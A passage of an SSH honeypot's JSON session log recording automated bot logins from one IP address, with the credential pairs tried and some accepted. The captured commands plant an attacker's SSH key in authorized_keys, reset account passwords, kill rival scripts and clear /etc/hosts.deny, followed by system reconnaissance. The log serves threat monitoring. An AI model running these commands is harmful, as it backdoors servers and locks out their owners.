-m"},{"seq":18,"at":"2026-08-26T12:01:31.131770+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:01:31.999566+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:01:32.705222+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:01:33.593093+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:01:34.364158+00:00","kind":"output","latency_ms":null,"data":"top - 12:01:34 up 6 days, 8:51, 0 user, load average: 0.18, 0.15, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:01:35.219740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:01:35.906881+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:01:36.791588+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:01:37.256024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:01:38.111190+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:01:38.557553+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-26T12:01:39.412367+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:01:40.609936+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:01:41.489751+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:01:42.878923+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"password12346","method":"password","accepted":true,"tier":"other"}]} {"id":"b12ee411-3333-40ca-a4de-4a7ddd3d66b8","name":"smoky-peaty-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44912,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:01:16.952990+00:00","ended_at":"2026-08-26T12:01:18.934028+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9ec14f50-b835-4e05-968d-101995ca5df1","name":"mellow-fearless-civet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44904,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:01:13.992418+00:00","ended_at":"2026-08-26T12:01:15.246339+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3ae2fa13-ef6b-42df-b6d1-bbf77f59b35c","name":"frosty-regal-jay","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44698,"username":"adminftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":865,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:59:05.004575+00:00","ended_at":"2026-08-26T11:59:06.357144+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2169,"events":[{"seq":1,"at":"2026-08-26T11:58:35.016806+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:58:35.887916+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:58:42.756935+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:58:43.390758+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:58:44.292404+00:00","kind":"input","latency_ms":null,"data":"echo -e \"adminftp\\ncKjK8v1ay4lj\\ncKjK8v1ay4lj\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:58:45.191265+00:00","kind":"input","latency_ms":null,"data":"echo \"adminftp\\ncKjK8v1ay4lj\\ncKjK8v1ay4lj\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:58:46.054612+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:58:46.513128+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:58:47.391236+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:58:48.469956+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:58:49.319583+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:58:50.315881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:58:51.190224+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:58:51.723582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:58:52.590056+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:58:53.390836+00:00","kind":"output","latency_ms":null,"data":" 11:58:53 up 6 days, 8:49, 0 user, load average: 0.18, 0.21, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:58:54.254914+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:58:55.028609+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:58:55.894306+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:58:56.657660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:58:57.499668+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:58:58.000575+00:00","kind":"output","latency_ms":null,"data":"top - 11:58:57 up 6 days, 8:49, 0 user, load average: 0.18, 0.21, 0.2\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:58:58.890517+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:58:59.428095+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:59:00.290682+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:59:00.803115+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:59:01.688694+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:59:02.418855+00:00","kind":"output","latency_ms":null,"data":"adminftp"},{"seq":29,"at":"2026-08-26T11:59:03.289835+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:59:04.156567+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:59:05.005444+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:59:06.088106+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"adminftp","password":"adminftp","method":"password","accepted":true,"tier":"other"}]} {"id":"2ff6fe92-e615-4b2a-bcbc-4034358933b2","name":"gloomy-clever-kakapo","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44714,"username":"adminftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:58:40.993000+00:00","ended_at":"2026-08-26T11:58:42.489932+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"adminftp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2484e350-6ac1-4593-881a-ed285a6838ca","name":"gloomy-stormy-stoat","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44706,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:58:37.893524+00:00","ended_at":"2026-08-26T11:58:39.257903+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a6c25b61-030a-4071-9e90-ee0ef194f6e3","name":"bashful-lawful-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44498,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":860,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:56:22.503415+00:00","ended_at":"2026-08-26T11:56:24.329787+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-26T11:55:53.404397+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:55:54.296233+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:56:00.510063+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:56:01.294108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:56:02.219035+00:00","kind":"input","latency_ms":null,"data":"echo \"root:vqktThpjzKYF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:56:03.095547+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:56:03.991015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:56:04.763555+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:56:05.625212+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:56:06.885140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:56:07.761347+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:56:08.785433+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:56:09.690848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:56:10.005932+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:56:10.891696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:56:11.677093+00:00","kind":"output","latency_ms":null,"data":" 11:56:11 up 6 days, 8:46, 0 user, load average: 0.22, 0.25, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:56:12.537546+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:56:13.222497+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:56:14.097267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:56:14.668806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:56:15.522351+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:56:15.848435+00:00","kind":"output","latency_ms":null,"data":"top - 11:56:15 up 6 days, 8:46, 0 user, load average: 0.22, 0.25, 0.22\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:56:16.703514+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:56:16.960814+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:56:17.812544+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:56:18.369696+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:56:19.222448+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:56:19.679152+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:56:20.530423+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:56:21.646996+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:56:22.503991+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:56:24.057127+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2wsx3edc","method":"password","accepted":true,"tier":"other"}]} {"id":"a8d6286d-a57f-48a1-9b89-b6f6722d4c3d","name":"sincere-blazing-narwhal","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44516,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:55:59.287138+00:00","ended_at":"2026-08-26T11:56:00.225137+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eae4068a-eb01-457f-8a29-3e0dc43abdb6","name":"proud-lunar-panther","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44506,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:55:56.254938+00:00","ended_at":"2026-08-26T11:55:57.589318+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"72340123-0afd-4c21-94bc-705c262a2b6a","name":"western-blunt-vervet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44304,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":873,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:53:43.692781+00:00","ended_at":"2026-08-26T11:53:45.296546+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T11:53:12.401620+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:53:13.299692+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:53:20.533936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:53:21.346266+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:53:22.217124+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jbNx2CZR8Hhd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:53:23.099628+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:53:23.995573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:53:24.273433+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:53:25.146046+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:53:26.401098+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:53:27.303019+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:53:28.636922+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:53:29.506896+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:53:30.336638+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:53:31.211031+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:53:32.089948+00:00","kind":"output","latency_ms":null,"data":" 11:53:32 up 6 days, 8:43, 0 user, load average: 0.25, 0.26, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:53:32.994643+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:53:33.274598+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:53:34.140272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:53:34.552569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:53:35.427762+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:53:36.056800+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:36 up 6 days, 8:43, 0 user, load average: 0.25, 0.26, 0.18\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:53:36.922941+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:53:37.597757+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:53:38.494644+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:53:39.246570+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:53:40.111415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:53:40.651904+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:53:41.529104+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:53:42.781487+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:53:43.693573+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:53:45.020132+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"adminadmin","method":"password","accepted":true,"tier":"other"}]} {"id":"6280af06-3d6f-4eaa-b46b-312c000c6645","name":"glacial-golden-saola","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44320,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:53:18.997527+00:00","ended_at":"2026-08-26T11:53:20.253583+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2b12596e-4c22-45c6-8b76-254648064603","name":"clever-sunlit-kudu","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44312,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:53:15.291830+00:00","ended_at":"2026-08-26T11:53:17.244009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"752cd0da-2b55-47ec-847f-155887edd22d","name":"fleeting-loyal-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":44100,"username":"vmuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":884,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:51:06.242750+00:00","ended_at":"2026-08-26T11:51:07.694793+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2136,"events":[{"seq":1,"at":"2026-08-26T11:50:35.612897+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:50:36.507020+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:50:43.898302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:50:44.600091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:50:45.501208+00:00","kind":"input","latency_ms":null,"data":"echo -e 